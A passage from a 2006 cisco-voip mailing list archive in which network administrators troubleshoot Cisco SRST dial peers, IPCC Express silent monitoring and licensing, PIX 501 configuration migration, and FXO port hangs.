ccm-manager fallback-mgcp and global 'call application
alternate default' or new global application section
with default  application specified as alternate.
Without this when MGCP fails the voice-ports on router
will not go in fallback and thus won't be available
for use by IP phones in fallback.

--- patrick.diener at ita.hsr.ch wrote:

> > Hi
> Hi Gary
> 
> If the connection to the CallManager is up and
> running all call routing
> decisions are made by CCM for an MGCP-Gateway. If
> the connection to the
> CCM is lost the GW has to rely on its self to make
> call routing decisions,
> hence you have to configure dial-peers (cause that's
> the way call routing
> is done on ios platforms)
> 
> If no dial-peers are configured or an appropriate
> dial-peer can not be
> found for an incoming call the GW tries to use the
> default dial-peer to
> create the inbound call-leg. For outbound call-legs
> the default dial-peer
> can not be used so a dial-peer MUST be configured.
> 
> For more information on ios call routing and
> dial-peers:
>
http://www.cisco.com/en/US/products/sw/iosswrel/ps1835/products_configuration_guide_chapter09186a0080080aec.html
> 
> Patrick
> 
> >
> > Can anyone clarify the need for dial peers with an
> MGCP gateway running
> > SRST
> > 3.3.  I cannot get the router to dial in or our
> without a POTS dial peer
> > even though I am using a *
> > *dialplan-pattern and a transfer-pattern.  Is it
> right that a POTS dial
> > peer
> > is required?  I seem to recall that the router can
> donfigure dial peers
> > itself on the fly.
> >
> > Regards
> >
> > Gary
> > *
> > *
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> >
> 
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From bcarter at sentinel.com  Thu Feb 23 10:20:41 2006
From: bcarter at sentinel.com (Carter, Bill)
Date: Thu Feb 23 10:20:50 2006
Subject: [cisco-voip] Cisco Enterprise Class Teleworker
Message-ID: <6A0744639B86DD459433108DBF101D26E16BEA@MAIL01.sentinel.com>

 
I am looking for a Product Manager level contact for the Cisco
Enterprise Class Teleworker solution.  I have a customer wanting to
deploy the same solution combining VPN and IP Telephony.

Your assistance is appreciated.

Bill


From jonvoip at gmail.com  Thu Feb 23 10:52:13 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 23 10:52:16 2006
Subject: [cisco-voip] SRST Dial peer
In-Reply-To: <20060223140040.9215.qmail@web34305.mail.mud.yahoo.com>
References: <9235.194.6.186.146.1140702001.squirrel@webmail.ins.hsr.ch>
	<20060223140040.9215.qmail@web34305.mail.mud.yahoo.com>
Message-ID: <5d093f9a0602230752r2764b64dyc73a9f36cff1a600@mail.gmail.com>

Actually, the DNs that register with SRST are the lines in the first two
positions on the phone... So, if you have bogus numbers there (i.e. not
DIDs), then the phone will register with those numbers.

You may need to move the DNs around on the phone.

On 2/23/06, Erick Bergquist <erickbe at yahoo.com> wrote:
>
> Also,
>
> You may need to use translation-rules, connection plar
> on FXOs, alias under fallback, etc depending on your
> dial plan. Especially if  under normal conditions if
> your calls route to virtual numbers (not directly to
> IP Phone extension that exist in fallback). When in
> fallback, the IP phones that go in fallback will have
> their extensions automatically added to router during
> the time of fallback for up to the max-dn settings
> configured, etc per phone model. Any other numbers
> will need to be handled by the means mentioned above
> in H.323 to get those calls to route to a phone in
> fallback.
>
> You may also want to add 'application mgcpapp' or
> 'service mgcpapp' to all dial-peers with a analog pots
> port under them. This is so when in MGCP-mode a
> inbound call doesn't accidentally terminate on a
> non-MGCP dial peer and cause problems (dead air, etc).
> I have seen this happen. Also make sure you have the
> ccm-manager fallback-mgcp and global 'call application
> alternate default' or new global application section
> with default  application specified as alternate.
> Without this when MGCP fails the voice-ports on router
> will not go in fallback and thus won't be available
> for use by IP phones in fallback.
>
> --- patrick.diener at ita.hsr.ch wrote:
>
> > > Hi
> > Hi Gary
> >
> > If the connection to the CallManager is up and
> > running all call routing
> > decisions are made by CCM for an MGCP-Gateway. If
> > the connection to the
> > CCM is lost the GW has to rely on its self to make
> > call routing decisions,
> > hence you have to configure dial-peers (cause that's
> > the way call routing
> > is done on ios platforms)
> >
> > If no dial-peers are configured or an appropriate
> > dial-peer can not be
> > found for an incoming call the GW tries to use the
> > default dial-peer to
> > create the inbound call-leg. For outbound call-legs
> > the default dial-peer
> > can not be used so a dial-peer MUST be configured.
> >
> > For more information on ios call routing and
> > dial-peers:
> >
>
> http://www.cisco.com/en/US/products/sw/iosswrel/ps1835/products_configuration_guide_chapter09186a0080080aec.html
> >
> > Patrick
> >
> > >
> > > Can anyone clarify the need for dial peers with an
> > MGCP gateway running
> > > SRST
> > > 3.3.  I cannot get the router to dial in or our
> > without a POTS dial peer
> > > even though I am using a *
> > > *dialplan-pattern and a transfer-pattern.  Is it
> > right that a POTS dial
> > > peer
> > > is required?  I seem to recall that the router can
> > donfigure dial peers
> > > itself on the fly.
> > >
> > > Regards
> > >
> > > Gary
> > > *
> > > *
> > > _______________________________________________
> > > cisco-voip mailing list
> > > cisco-voip at puck.nether.net
> > >
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> > >
> >
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From jonvoip at gmail.com  Thu Feb 23 11:05:03 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 23 11:05:06 2006
Subject: [cisco-voip] IPCC VoIP Monitor
In-Reply-To: <20060223095811.39845.qmail@web37308.mail.mud.yahoo.com>
References: <20060222063701.49637.qmail@web34309.mail.mud.yahoo.com>
	<20060223095811.39845.qmail@web37308.mail.mud.yahoo.com>
Message-ID: <5d093f9a0602230805t449a8ea3g1a79b43b95b38e9c@mail.gmail.com>

Sure, why not.

However.

You will need to SPAN those ports to the IPCC monitor port.



J

On 2/23/06, Brain Whistler <brainwhistler at yahoo.com> wrote:
>
> I have Cisco IP Softphones at the Agents and
> Supervisor Desktop.
>
> Does call recording and silent monitor is supported on
> IP Softphones or IP Communicator???
>
> Brain
>
> --- Erick Bergquist <erickbe at yahoo.com> wrote:
>
> > I recall this list or theres another list for IPCC
> > Express 4.x that add endpoint monitoring from users
> > desktop. Before IPCC Express 4.x all monitoring
> > needed
> > a span port on a switch, etc but that changed in
> > IPCC
> > Express 4.x and now theres the span port method as
> > well as endpoint monitoring.
> >
> > --- Jordy Leung <jordyl at yahoo.com> wrote:
> >
> > > Also, not sure for IPCC Express, For IPCC
> > > Enterprise, there is list of NIC
> > > which will be supported by IPCC.  You need to
> > check
> > > if your agents' and
> > > supervisors' PC are installed compliable NIC for
> > > silient monitoring.
> > >
> > >
> >
>
> http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_note09186a00801f42f9.shtml
> > >
> > > See if it helps you!
> > >
> > > --- "Voll, Scott" <Scott.Voll at wesd.org> wrote:
> > >
> > > > And VGW.
> > > >
> > > >
> > > >
> > > > ________________________________
> > > >
> > > > From: cisco-voip-bounces at puck.nether.net
> > > > [mailto:cisco-voip-bounces at puck.nether.net] On
> > > Behalf Of Jonathan
> > > > Charles
> > > > Sent: Tuesday, February 21, 2006 7:39 AM
> > > > To: Brain Whistler
> > > > Cc: Cisco Voip
> > > > Subject: Re: [cisco-voip] IPCC VoIP Monitor
> > > >
> > > >
> > > >
> > > > The files are 0K right?
> > > >
> > > > That's because IPCC sees the call, it just isn't
> > > getting data.
> > > >
> > > > You need to span all of your agents ports to the
> > > monitor port:
> > > >
> > > > monitor session 1 source | destination... blah
> > > blah
> > > >
> > > > Make sure you include ALL the agent and
> > supervisor
> > > ports.
> > > >
> > > >
> > > >
> > > > Jonathan
> > > >
> > > >
> > > >
> > > >
> > > > On 2/21/06, Brain Whistler <
> > > brainwhistler at yahoo.com
> > > > <mailto:brainwhistler at yahoo.com> > wrote:
> > > >
> > > > Hi,
> > > >
> > > > I am running Cisco IPCC Express 3.5.(2) Enhanced
> >
> > > > edition for contact centre with CCM 4.0.(1).
> > This
> > > is
> > > > installed on Dedicated machine where CRA Server,
> > > VoIP
> > > > Monitor and Historical Reporting is co-resident.
> > I
> > > > have configured two nic cards as described in
> > > > Administration guides.
> > > >
> > > > Everything is working fine but when is the
> > > Supervisor
> > > > goes for call recording or Silient Monitor is
> > > doesn't
> > > > work, although I can see a file created of the
> > > > recording of 46 bytes in the folder
> > > >
> > > > c:\program
> > files\cisco\Desktop_config\Audiofiles\,
> > > but
> > > > nothing more than that.
> > > >
> > > > Note that I have already configured the switch
> > for
> > > > SPAN. I have verified my configuration with IRIS
> > > > sniffer, it is working perfectly and capturing
> > RTP
> > > > packets but cannot get this successful on IPCC
> > > VoIP
> > > > Monitor.
> > > >
> > > > Can anyone help me in it, where I am failing, or
> > > does
> > > > VoIP Monitor server need to be configured from
> > > which
> > > > NIC to capture RTP packets.
> > > >
> > > > Thanks
> > > > Brain
> > > >
> > > >
> > > >
> > __________________________________________________
> > >
> > > > Do You Yahoo!?
> > > > Tired of spam?  Yahoo! Mail has the best spam
> > > protection around
> > > > http://mail.yahoo.com
> > > > _______________________________________________
> > > > cisco-voip mailing list
> > > > cisco-voip at puck.nether.net
> > > >
> > >
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> > > >
> > > >
> > > >
> > > > >
> > _______________________________________________
> > > > cisco-voip mailing list
> > > > cisco-voip at puck.nether.net
> > > >
> > >
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> > > >
> > >
> > >
> > > Jordy Leung
> > >
> > > __________________________________________________
> > > Do You Yahoo!?
> > > Tired of spam?  Yahoo! Mail has the best spam
> > > protection around
> > > http://mail.yahoo.com
> > > _______________________________________________
> > > cisco-voip mailing list
> > > cisco-voip at puck.nether.net
> > >
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> > >
> >
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Tired of spam?  Yahoo! Mail has the best spam
> > protection around
> > http://mail.yahoo.com
> >
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
>
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From brainwhistler at yahoo.com  Thu Feb 23 11:44:41 2006
From: brainwhistler at yahoo.com (Brain Whistler)
Date: Thu Feb 23 11:44:49 2006
Subject: [cisco-voip] IPCC VoIP Monitor
In-Reply-To: <5d093f9a0602230805t449a8ea3g1a79b43b95b38e9c@mail.gmail.com>
Message-ID: <20060223164441.57275.qmail@web37304.mail.mud.yahoo.com>

Thanks

I see an error in Application LOG, i.e. " SS1002
Failed to setup monitor. Exiting"

I have already completed the workaround as described
in the guide 

http://www.cisco.com/en/US/products/sw/custcosw/ps1846/products_tech_note09186a00801ee853.shtml

But the error still coming..... Any help ???

Brain

--- Jonathan Charles <jonvoip at gmail.com> wrote:

> Sure, why not.
> 
> However.
> 
> You will need to SPAN those ports to the IPCC
> monitor port.
> 
> 
> 
> J
> 
> On 2/23/06, Brain Whistler <brainwhistler at yahoo.com>
> wrote:
> >
> > I have Cisco IP Softphones at the Agents and
> > Supervisor Desktop.
> >
> > Does call recording and silent monitor is
> supported on
> > IP Softphones or IP Communicator???
> >
> > Brain
> >
> > --- Erick Bergquist <erickbe at yahoo.com> wrote:
> >
> > > I recall this list or theres another list for
> IPCC
> > > Express 4.x that add endpoint monitoring from
> users
> > > desktop. Before IPCC Express 4.x all monitoring
> > > needed
> > > a span port on a switch, etc but that changed in
> > > IPCC
> > > Express 4.x and now theres the span port method
> as
> > > well as endpoint monitoring.
> > >
> > > --- Jordy Leung <jordyl at yahoo.com> wrote:
> > >
> > > > Also, not sure for IPCC Express, For IPCC
> > > > Enterprise, there is list of NIC
> > > > which will be supported by IPCC.  You need to
> > > check
> > > > if your agents' and
> > > > supervisors' PC are installed compliable NIC
> for
> > > > silient monitoring.
> > > >
> > > >
> > >
> >
> >
>
http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_note09186a00801f42f9.shtml
> > > >
> > > > See if it helps you!
> > > >
> > > > --- "Voll, Scott" <Scott.Voll at wesd.org> wrote:
> > > >
> > > > > And VGW.
> > > > >
> > > > >
> > > > >
> > > > > ________________________________
> > > > >
> > > > > From: cisco-voip-bounces at puck.nether.net
> > > > > [mailto:cisco-voip-bounces at puck.nether.net]
> On
> > > > Behalf Of Jonathan
> > > > > Charles
> > > > > Sent: Tuesday, February 21, 2006 7:39 AM
> > > > > To: Brain Whistler
> > > > > Cc: Cisco Voip
> > > > > Subject: Re: [cisco-voip] IPCC VoIP Monitor
> > > > >
> > > > >
> > > > >
> > > > > The files are 0K right?
> > > > >
> > > > > That's because IPCC sees the call, it just
> isn't
> > > > getting data.
> > > > >
> > > > > You need to span all of your agents ports to
> the
> > > > monitor port:
> > > > >
> > > > > monitor session 1 source | destination...
> blah
> > > > blah
> > > > >
> > > > > Make sure you include ALL the agent and
> > > supervisor
> > > > ports.
> > > > >
> > > > >
> > > > >
> > > > > Jonathan
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > On 2/21/06, Brain Whistler <
> > > > brainwhistler at yahoo.com
> > > > > <mailto:brainwhistler at yahoo.com> > wrote:
> > > > >
> > > > > Hi,
> > > > >
> > > > > I am running Cisco IPCC Express 3.5.(2)
> Enhanced
> > >
> > > > > edition for contact centre with CCM 4.0.(1).
> > > This
> > > > is
> > > > > installed on Dedicated machine where CRA
> Server,
> > > > VoIP
> > > > > Monitor and Historical Reporting is
> co-resident.
> > > I
> > > > > have configured two nic cards as described
> in
> > > > > Administration guides.
> > > > >
> > > > > Everything is working fine but when is the
> > > > Supervisor
> > > > > goes for call recording or Silient Monitor
> is
> > > > doesn't
> > > > > work, although I can see a file created of
> the
> > > > > recording of 46 bytes in the folder
> > > > >
> > > > > c:\program
> > > files\cisco\Desktop_config\Audiofiles\,
> > > > but
> > > > > nothing more than that.
> > > > >
> > > > > Note that I have already configured the
> switch
> > > for
> > > > > SPAN. I have verified my configuration with
> IRIS
> > > > > sniffer, it is working perfectly and
> capturing
> > > RTP
> > > > > packets but cannot get this successful on
> IPCC
> > > > VoIP
> > > > > Monitor.
> > > > >
> > > > > Can anyone help me in it, where I am
> failing, or
> > > > does
> > > > > VoIP Monitor server need to be configured
> from
> > > > which
> > > > > NIC to capture RTP packets.
> > > > >
> > > > > Thanks
> > > > > Brain
> > > > >
> > > > >
> > > > >
> > >
> __________________________________________________
> > > >
> > > > > Do You Yahoo!?
> > > > > Tired of spam?  Yahoo! Mail has the best
> spam
> > > > protection around
> > > > > http://mail.yahoo.com
> > > > >
> _______________________________________________
> > > > > cisco-voip mailing list
> > > > > cisco-voip at puck.nether.net
> > > > >
> > > >
> > >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > > >
> > > > >
> > > > >
> > > > > >
> > > _______________________________________________
> > > > > cisco-voip mailing list
> > > > > cisco-voip at puck.nether.net
> > > > >
> > > >
> > >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > > >
> > > >
> > > >
> > > > Jordy Leung
> > > >
> > > >
> __________________________________________________
> > > > Do You Yahoo!?
> > > > Tired of spam?  Yahoo! Mail has the best spam
> > > > protection around
> > > > http://mail.yahoo.com
> 
=== message truncated ===


__________________________________________________
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Tired of spam?  Yahoo! Mail has the best spam protection around 
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From Scott.Voll at wesd.org  Thu Feb 23 11:51:19 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb 23 11:51:30 2006
Subject: [cisco-voip] IPCC VoIP Monitor
Message-ID: <D713462ED535184D830F6F6301753E7E01BE16E4@VISHNU.wesd.org>

Has this ever worked?

Are the IP communicators on the same vlan as the IPCCx server?

Scott

-----Original Message-----
From: Brain Whistler [mailto:brainwhistler at yahoo.com] 
Sent: Thursday, February 23, 2006 8:45 AM
To: Jonathan Charles
Cc: erickbe at yahoo.com; Jordy Leung; Voll, Scott; Cisco Voip
Subject: Re: [cisco-voip] IPCC VoIP Monitor

Thanks

I see an error in Application LOG, i.e. " SS1002
Failed to setup monitor. Exiting"

I have already completed the workaround as described
in the guide 

http://www.cisco.com/en/US/products/sw/custcosw/ps1846/products_tech_not
e09186a00801ee853.shtml

But the error still coming..... Any help ???

Brain

--- Jonathan Charles <jonvoip at gmail.com> wrote:

> Sure, why not.
> 
> However.
> 
> You will need to SPAN those ports to the IPCC
> monitor port.
> 
> 
> 
> J
> 
> On 2/23/06, Brain Whistler <brainwhistler at yahoo.com>
> wrote:
> >
> > I have Cisco IP Softphones at the Agents and
> > Supervisor Desktop.
> >
> > Does call recording and silent monitor is
> supported on
> > IP Softphones or IP Communicator???
> >
> > Brain
> >
> > --- Erick Bergquist <erickbe at yahoo.com> wrote:
> >
> > > I recall this list or theres another list for
> IPCC
> > > Express 4.x that add endpoint monitoring from
> users
> > > desktop. Before IPCC Express 4.x all monitoring
> > > needed
> > > a span port on a switch, etc but that changed in
> > > IPCC
> > > Express 4.x and now theres the span port method
> as
> > > well as endpoint monitoring.
> > >
> > > --- Jordy Leung <jordyl at yahoo.com> wrote:
> > >
> > > > Also, not sure for IPCC Express, For IPCC
> > > > Enterprise, there is list of NIC
> > > > which will be supported by IPCC.  You need to
> > > check
> > > > if your agents' and
> > > > supervisors' PC are installed compliable NIC
> for
> > > > silient monitoring.
> > > >
> > > >
> > >
> >
> >
>
http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_not
e09186a00801f42f9.shtml
> > > >
> > > > See if it helps you!
> > > >
> > > > --- "Voll, Scott" <Scott.Voll at wesd.org> wrote:
> > > >
> > > > > And VGW.
> > > > >
> > > > >
> > > > >
> > > > > ________________________________
> > > > >
> > > > > From: cisco-voip-bounces at puck.nether.net
> > > > > [mailto:cisco-voip-bounces at puck.nether.net]
> On
> > > > Behalf Of Jonathan
> > > > > Charles
> > > > > Sent: Tuesday, February 21, 2006 7:39 AM
> > > > > To: Brain Whistler
> > > > > Cc: Cisco Voip
> > > > > Subject: Re: [cisco-voip] IPCC VoIP Monitor
> > > > >
> > > > >
> > > > >
> > > > > The files are 0K right?
> > > > >
> > > > > That's because IPCC sees the call, it just
> isn't
> > > > getting data.
> > > > >
> > > > > You need to span all of your agents ports to
> the
> > > > monitor port:
> > > > >
> > > > > monitor session 1 source | destination...
> blah
> > > > blah
> > > > >
> > > > > Make sure you include ALL the agent and
> > > supervisor
> > > > ports.
> > > > >
> > > > >
> > > > >
> > > > > Jonathan
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > On 2/21/06, Brain Whistler <
> > > > brainwhistler at yahoo.com
> > > > > <mailto:brainwhistler at yahoo.com> > wrote:
> > > > >
> > > > > Hi,
> > > > >
> > > > > I am running Cisco IPCC Express 3.5.(2)
> Enhanced
> > >
> > > > > edition for contact centre with CCM 4.0.(1).
> > > This
> > > > is
> > > > > installed on Dedicated machine where CRA
> Server,
> > > > VoIP
> > > > > Monitor and Historical Reporting is
> co-resident.
> > > I
> > > > > have configured two nic cards as described
> in
> > > > > Administration guides.
> > > > >
> > > > > Everything is working fine but when is the
> > > > Supervisor
> > > > > goes for call recording or Silient Monitor
> is
> > > > doesn't
> > > > > work, although I can see a file created of
> the
> > > > > recording of 46 bytes in the folder
> > > > >
> > > > > c:\program
> > > files\cisco\Desktop_config\Audiofiles\,
> > > > but
> > > > > nothing more than that.
> > > > >
> > > > > Note that I have already configured the
> switch
> > > for
> > > > > SPAN. I have verified my configuration with
> IRIS
> > > > > sniffer, it is working perfectly and
> capturing
> > > RTP
> > > > > packets but cannot get this successful on
> IPCC
> > > > VoIP
> > > > > Monitor.
> > > > >
> > > > > Can anyone help me in it, where I am
> failing, or
> > > > does
> > > > > VoIP Monitor server need to be configured
> from
> > > > which
> > > > > NIC to capture RTP packets.
> > > > >
> > > > > Thanks
> > > > > Brain
> > > > >
> > > > >
> > > > >
> > >
> __________________________________________________
> > > >
> > > > > Do You Yahoo!?
> > > > > Tired of spam?  Yahoo! Mail has the best
> spam
> > > > protection around
> > > > > http://mail.yahoo.com
> > > > >
> _______________________________________________
> > > > > cisco-voip mailing list
> > > > > cisco-voip at puck.nether.net
> > > > >
> > > >
> > >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > > >
> > > > >
> > > > >
> > > > > >
> > > _______________________________________________
> > > > > cisco-voip mailing list
> > > > > cisco-voip at puck.nether.net
> > > > >
> > > >
> > >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > > >
> > > >
> > > >
> > > > Jordy Leung
> > > >
> > > >
> __________________________________________________
> > > > Do You Yahoo!?
> > > > Tired of spam?  Yahoo! Mail has the best spam
> > > > protection around
> > > > http://mail.yahoo.com
> 
=== message truncated ===


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 


From jgrace at digitelusa.net  Thu Feb 23 11:58:35 2006
From: jgrace at digitelusa.net (James Grace)
Date: Thu Feb 23 11:59:21 2006
Subject: [cisco-voip] how to see the lic info for ipcc express
Message-ID: <200602231158.AA203555266@mail.digitelusa.net>

we are using ipcc express 3.5.3 sr2  and i just realize that it is only allowing 5 agent to logon at a time.  our lic should be alot more 
so i need to see how many lic its config for.  and what will be the correct way to correct it 
---



From Scott.Voll at wesd.org  Thu Feb 23 12:05:30 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb 23 12:05:39 2006
Subject: [cisco-voip] how to see the lic info for ipcc express
Message-ID: <D713462ED535184D830F6F6301753E7E01BE16E6@VISHNU.wesd.org>

If you look at the .lic file, it should be enhagtdesk.  Look for how
many you have.

If this is incorrect work with licensing at cisco.com and the partner you
purchased the licensing from.  They should be able to get you taken care
of.

Scott

PS.  I sure there's a better way to find licensing information, but I
can't remember off hand.


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Thursday, February 23, 2006 8:59 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] how to see the lic info for ipcc express

we are using ipcc express 3.5.3 sr2  and i just realize that it is only
allowing 5 agent to logon at a time.  our lic should be alot more 
so i need to see how many lic its config for.  and what will be the
correct way to correct it 
---


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From SPackett at fenwick.com  Thu Feb 23 12:10:28 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Thu Feb 23 12:10:38 2006
Subject: [cisco-voip] the best way to move config from 501 to 501 
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AB3B@svcexch02.firm.fenwick.llp>

James:
When I have to swap out PIX 501s, I usually just ask the user for their
password.  I'm using Active Directory as my RADIUS server for VPN
authentication, so I configure the VPNCLIENT lines on the PIX to be the
user's AD username and password.
 
By the way, copying and pasting from the old to the new PIX usually
works for me.  I don't think you will have any problems.
 
-Stu
 
Disclaimer:  If you have received this message in error, call (650)
988-8500 and delete or destroy any copy of this message.

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Wednesday, February 22, 2006 6:42 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] the best way to move config from 501 to 501 



I m setting up a remote site with 7971.  we configure a 501 here at
home, but can not swap with 501 at remote site (smartnet stuff)  I
understand that I could mess up the passwords on the pix501 if I don't
migrate the config correctly.  I was told this by a tac engineer,  but I
didn't understand exactly what passwords (telnet , cryto , logons etc)
can someone clear this up for me

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From gary.ciscomail at gmail.com  Thu Feb 23 12:31:26 2006
From: gary.ciscomail at gmail.com (Gary Roberton)
Date: Thu Feb 23 12:31:32 2006
Subject: [cisco-voip] SRST Dial peer
In-Reply-To: <5d093f9a0602230752r2764b64dyc73a9f36cff1a600@mail.gmail.com>
References: <9235.194.6.186.146.1140702001.squirrel@webmail.ins.hsr.ch>
	<20060223140040.9215.qmail@web34305.mail.mud.yahoo.com>
	<5d093f9a0602230752r2764b64dyc73a9f36cff1a600@mail.gmail.com>
Message-ID: <cf9098540602230931x5987f481xe95ff55ad8796684@mail.gmail.com>

Hello All

Thanks for all of your comments.  We have done some more work on this and
have noticed the following.  We have a pots dial peer for outbound calls and
this works fine.

Instead of using a pots dial peer we thought that the access-code line under
call manager fallback could be usedinstead.  However, we cannot see any
difference when applied.  Our syntax is;

call-manager-fallback
  access-code pri 9.T direct-inward-dial

Has anyone else seen this? We are using SRST 3.2

Regards

Gary



On 2/23/06, Jonathan Charles <jonvoip at gmail.com> wrote:
>
> Actually, the DNs that register with SRST are the lines in the first two
> positions on the phone... So, if you have bogus numbers there (i.e. not
> DIDs), then the phone will register with those numbers.
>
> You may need to move the DNs around on the phone.
>
> On 2/23/06, Erick Bergquist <erickbe at yahoo.com> wrote:
> >
> > Also,
> >
> > You may need to use translation-rules, connection plar
> > on FXOs, alias under fallback, etc depending on your
> > dial plan. Especially if  under normal conditions if
> > your calls route to virtual numbers (not directly to
> > IP Phone extension that exist in fallback). When in
> > fallback, the IP phones that go in fallback will have
> > their extensions automatically added to router during
> > the time of fallback for up to the max-dn settings
> > configured, etc per phone model. Any other numbers
> > will need to be handled by the means mentioned above
> > in H.323 to get those calls to route to a phone in
> > fallback.
> >
> > You may also want to add 'application mgcpapp' or
> > 'service mgcpapp' to all dial-peers with a analog pots
> > port under them. This is so when in MGCP-mode a
> > inbound call doesn't accidentally terminate on a
> > non-MGCP dial peer and cause problems (dead air, etc).
> > I have seen this happen. Also make sure you have the
> > ccm-manager fallback-mgcp and global 'call application
> > alternate default' or new global application section
> > with default  application specified as alternate.
> > Without this when MGCP fails the voice-ports on router
> > will not go in fallback and thus won't be available
> > for use by IP phones in fallback.
> >
> > --- patrick.diener at ita.hsr.ch wrote:
> >
> > > > Hi
> > > Hi Gary
> > >
> > > If the connection to the CallManager is up and
> > > running all call routing
> > > decisions are made by CCM for an MGCP-Gateway. If
> > > the connection to the
> > > CCM is lost the GW has to rely on its self to make
> > > call routing decisions,
> > > hence you have to configure dial-peers (cause that's
> > > the way call routing
> > > is done on ios platforms)
> > >
> > > If no dial-peers are configured or an appropriate
> > > dial-peer can not be
> > > found for an incoming call the GW tries to use the
> > > default dial-peer to
> > > create the inbound call-leg. For outbound call-legs
> > > the default dial-peer
> > > can not be used so a dial-peer MUST be configured.
> > >
> > > For more information on ios call routing and
> > > dial-peers:
> > >
> >
> > http://www.cisco.com/en/US/products/sw/iosswrel/ps1835/products_configuration_guide_chapter09186a0080080aec.html
> > >
> > > Patrick
> > >
> > > >
> > > > Can anyone clarify the need for dial peers with an
> > > MGCP gateway running
> > > > SRST
> > > > 3.3.  I cannot get the router to dial in or our
> > > without a POTS dial peer
> > > > even though I am using a *
> > > > *dialplan-pattern and a transfer-pattern.  Is it
> > > right that a POTS dial
> > > > peer
> > > > is required?  I seem to recall that the router can
> > > donfigure dial peers
> > > > itself on the fly.
> > > >
> > > > Regards
> > > >
> > > > Gary
> > > > *
> > > > *
> > > > _______________________________________________
> > > > cisco-voip mailing list
> > > > cisco-voip at puck.nether.net
> > > >
> > > https://puck.nether.net/mailman/listinfo/cisco-voip
> > > >
> > >
> > >
> > > _______________________________________________
> > > cisco-voip mailing list
> > > cisco-voip at puck.nether.net
> > > https://puck.nether.net/mailman/listinfo/cisco-voip
> > >
> >
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Tired of spam?  Yahoo! Mail has the best spam protection around
> > http://mail.yahoo.com
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From algren at gmail.com  Thu Feb 23 12:49:30 2006
From: algren at gmail.com (Francois Tanguay)
Date: Thu Feb 23 12:49:33 2006
Subject: [cisco-voip] FXO ports hanging issue
In-Reply-To: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E24@MREXVS01.bc.broward.cty>
References: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E24@MREXVS01.bc.broward.cty>
Message-ID: <33fca4b00602230949o72290202o8b455cc804cb0e4d@mail.gmail.com>

I'm having the same issue. Ressetting the gateway from the call manager
cause that issue (you can try it and see for yourself)  I'm hitting the bug
each time I do that or if a reset the device pool containing the gateway.

You can fix this issue buy doing "no mgcp" then "mgcp" instead of rebooting
the router. But the problem shows up again if you do a reset.



On 2/22/06, Ortiz, Carlos <CORTIZ at broward.org> wrote:
>
>  There is a known bug out there with FXO cards that seems to be affecting
> us (Waiting for another occurrence to verify with debugs for TAC).  The FXO
> cards on 2800/3800 serires routers can get hung up.  Inbound and outbound
> calls stop functioning and the only workaround at this time is a reboot.  I
> have about 5 locations with a 2800 series router and FXO cards.  I only see
> this problem in one location that happens to have the heaviest call volume.
> Just curious if anyone else has encountered this issue?.
>
>
>
> Carlos
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From SPackett at fenwick.com  Thu Feb 23 13:24:05 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Thu Feb 23 13:25:32 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AB3E@svcexch02.firm.fenwick.llp>

All callers are hearing 3 quick beeps.  I have changed the timer to be
20 seconds, but for outside callers, the 3 quick beeps occur every 10
